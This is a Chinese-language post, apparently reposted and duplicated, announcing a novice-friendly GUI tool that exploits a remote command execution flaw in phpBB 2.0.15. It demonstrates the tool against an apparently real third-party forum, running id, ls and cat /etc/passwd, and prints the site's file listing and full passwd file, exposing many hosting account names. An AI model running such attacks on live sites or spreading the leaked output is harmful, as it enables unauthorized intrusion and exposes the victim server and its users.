PHPbb2.0.15远程命令执行漏洞利用程序

金光

  烦人的小学期终于上完了,看到无敌兄的>,现在有空了,自己也写了一个此漏洞的利用程序的GUI版,适合菜鸟使用.程序基本
实现了http://www.securiteam.com/exploits/5QP0X00G0C.html这个python程序的功能.注意:读取数据量过大时,程序会出现短暂
的假死.测试:Forum Url: http://www.tuoitho.net/diendan/Topic ID: 15218 Command: idData Received: uid=99(nobody)
gid=99(nobody) groups=99(nobody)当然我们可以换用其他命令如输入ls返回:
_makepagelink.php_new_register.txt_news.txtadminbank_index.phpcachechat_popup.jscommon.phpconfig.phpdbecardsexten
sion.incfaq.phpflashgameforum.phpgallerygroupcp.phpimagesincludesindex.phplanguagelogin.phpmemberlist.phpmodcp.ph
pphotoposting.phpprivmsg.phpprofile.phprealmusic.phpsearch.phpstreammedia.phptemplatestt_imagestt_tempttd_news.ph
pvietuni8.jsviewforum.phpviewonline.phpviewtopic.phpysi.htmysi.php输入cat /etc/passwd返
回:root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:
4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0
:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:
x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0perator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP
User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinvcsa:x:69:69:virtual console memory
owner:/dev:/sbin/nologinrpm:x:37:37::/var/lib/rpm:/sbin/nologinnscd:x:28:28:NSCD
Daemon:/:/sbin/nologinident:x:100:101::/home/ident:/sbin/nologinnetdump:x:34:34:Network Crash Dump
user:/var/crash:/bin/bashsshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologinrpc:x:32:32ortmapper
RPC user:/:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinxfs:x:43:43:X Font
Server:/etc/X11/fs:/sbin/nologinwnn:x:49:49:Wnn Input
Server:/var/lib/wnn:/sbin/nologinnamed:x:25:25:Named:/var/named:/sbin/nologinmysql:x:101:102:MySQL
server:/var/lib/mysql:/bin/bashmailnull:x:47:47:Exim:/var/spool/mqueue:/bin/falsecpanel:x:32001:502::/usr/local/c
panel:/bin/bashmailman:x:32002:503::/usr/local/cpanel/3rdparty/mailman:/bin/bashltsv-
1990:x:32003:32003::/home/ltsv-
1990:/bin/bashttnet:x:32004:504::/home/ttnet:/bin/bashttmail:x:32005:505::/home/ttmail:/usr/local/cpanel/bin/nosh
elldoicongl:x:32006:506::/home/doicongl:/usr/local/cpanel/bin/noshellrealmsof:x:32007:507::/home/realmsof:/usr/lo
cal/cpanel/bin/noshelltrpanoco:x:32009:509::/home/trpanoco:/usr/local/cpanel/bin/noshellqua:x:32008:508::/home/qu
a:/usr/local/cpanel/bin/noshellkey:x:32010:510::/home/key:/usr/local/cpanel/bin/noshellcuop:x:32011:511::/home/cu
op:/usr/local/cpanel/bin/noshellbluewebp:x:32012:512::/home/bluewebp:/usr/local/cpanel/bin/noshellshugoten:x:3201
3:513::/home/shugoten:/usr/local/cpanel/bin/noshellafghansa:x:32014:514::/home/afghansa:/usr/local/cpanel/bin/nos
hellpolishtr:x:32015:515::/home/polishtr:/usr/local/cpanel/bin/noshellgioitrec:x:32016:516::/home/gioitrec:/usr/l
ocal/cpanel/bin/noshellcolorado:x:32017:517::/home/colorado:/usr/local/cpanel/bin/noshellwannabel:x:32018:518::/h
ome/wannabel:/usr/local/cpanel/bin/noshellcactuslo:x:32019:519::/home/cactuslo:/usr/local/cpanel/bin/noshellaznph
oto:x:32020:520::/home/aznphoto:/bin/bashjourneyo:x:32021:521::/home/journeyo:/usr/local/cpanel/bin/noshellchirop
ra:x:32022:522::/home/chiropra:/usr/local/cpanel/bin/noshell

                               
登录/注册后可看大图

转自：  http://edu.chinaz.com

金光

  烦人的小学期终于上完了,看到无敌兄的>,现在有空了,自己也写了一个此漏洞的利用程序的GUI版,适合菜鸟使用.程序基本
实现了http://www.securiteam.com/exploits/5QP0X00G0C.html这个python程序的功能.注意:读取数据量过大时,程序会出现短暂
的假死.测试:Forum Url: http://www.tuoitho.net/diendan/Topic ID: 15218 Command: idData Received: uid=99(nobody)
gid=99(nobody) groups=99(nobody)当然我们可以换用其他命令如输入ls返回:
_makepagelink.php_new_register.txt_news.txtadminbank_index.phpcachechat_popup.jscommon.phpconfig.phpdbecardsexten
sion.incfaq.phpflashgameforum.phpgallerygroupcp.phpimagesincludesindex.phplanguagelogin.phpmemberlist.phpmodcp.ph
pphotoposting.phpprivmsg.phpprofile.phprealmusic.phpsearch.phpstreammedia.phptemplatestt_imagestt_tempttd_news.ph
pvietuni8.jsviewforum.phpviewonline.phpviewtopic.phpysi.htmysi.php输入cat /etc/passwd返
回:root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:
4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0
:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:
x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0perator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP
User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinvcsa:x:69:69:virtual console memory
owner:/dev:/sbin/nologinrpm:x:37:37::/var/lib/rpm:/sbin/nologinnscd:x:28:28:NSCD
Daemon:/:/sbin/nologinident:x:100:101::/home/ident:/sbin/nologinnetdump:x:34:34:Network Crash Dump
user:/var/crash:/bin/bashsshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologinrpc:x:32:32ortmapper
RPC user:/:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinxfs:x:43:43:X Font
Server:/etc/X11/fs:/sbin/nologinwnn:x:49:49:Wnn Input
Server:/var/lib/wnn:/sbin/nologinnamed:x:25:25:Named:/var/named:/sbin/nologinmysql:x:101:102:MySQL
server:/var/lib/mysql:/bin/bashmailnull:x:47:47:Exim:/var/spool/mqueue:/bin/falsecpanel:x:32001:502::/usr/local/c
panel:/bin/bashmailman:x:32002:503::/usr/local/cpanel/3rdparty/mailman:/bin/bashltsv-
1990:x:32003:32003::/home/ltsv-
1990:/bin/bashttnet:x:32004:504::/home/ttnet:/bin/bashttmail:x:32005:505::/home/ttmail:/usr/local/cpanel/bin/nosh
elldoicongl:x:32006:506::/home/doicongl:/usr/local/cpanel/bin/noshellrealmsof:x:32007:507::/home/realmsof:/usr/lo
cal/cpanel/bin/noshelltrpanoco:x:32009:509::/home/trpanoco:/usr/local/cpanel/bin/noshellqua:x:32008:508::/home/qu
a:/usr/local/cpanel/bin/noshellkey:x:32010:510::/home/key:/usr/local/cpanel/bin/noshellcuop:x:32011:511::/home/cu
op:/usr/local/cpanel/bin/noshellbluewebp:x:32012:512::/home/bluewebp:/usr/local/cpanel/bin/noshellshugoten:x:3201
3:513::/home/shugoten:/usr/local/cpanel/bin/noshellafghansa:x:32014:514::/home/afghansa:/usr/local/cpanel/bin/nos
hellpolishtr:x:32015:515::/home/polishtr:/usr/local/cpanel/bin/noshellgioitrec:x:32016:516::/home/gioitrec:/usr/l
ocal/cpanel/bin/noshellcolorado:x:32017:517::/home/colorado:/usr/local/cpanel/bin/noshellwannabel:x:32018:518::/h
ome/wannabel:/usr/local/cpanel/bin/noshellcactuslo:x:32019:519::/home/cactuslo:/usr/local/cpanel/bin/noshellaznph
oto:x:32020:520::/home/aznphoto:/bin/bashjourneyo:x:32021:521::/home/journeyo:/usr/local/cpanel/bin/noshellchirop
ra:x:32022:522::/home/chiropra:/usr/local/cpanel/bin/noshell

                               
登录/注册后可看大图

转自：  http://edu.chinaz.com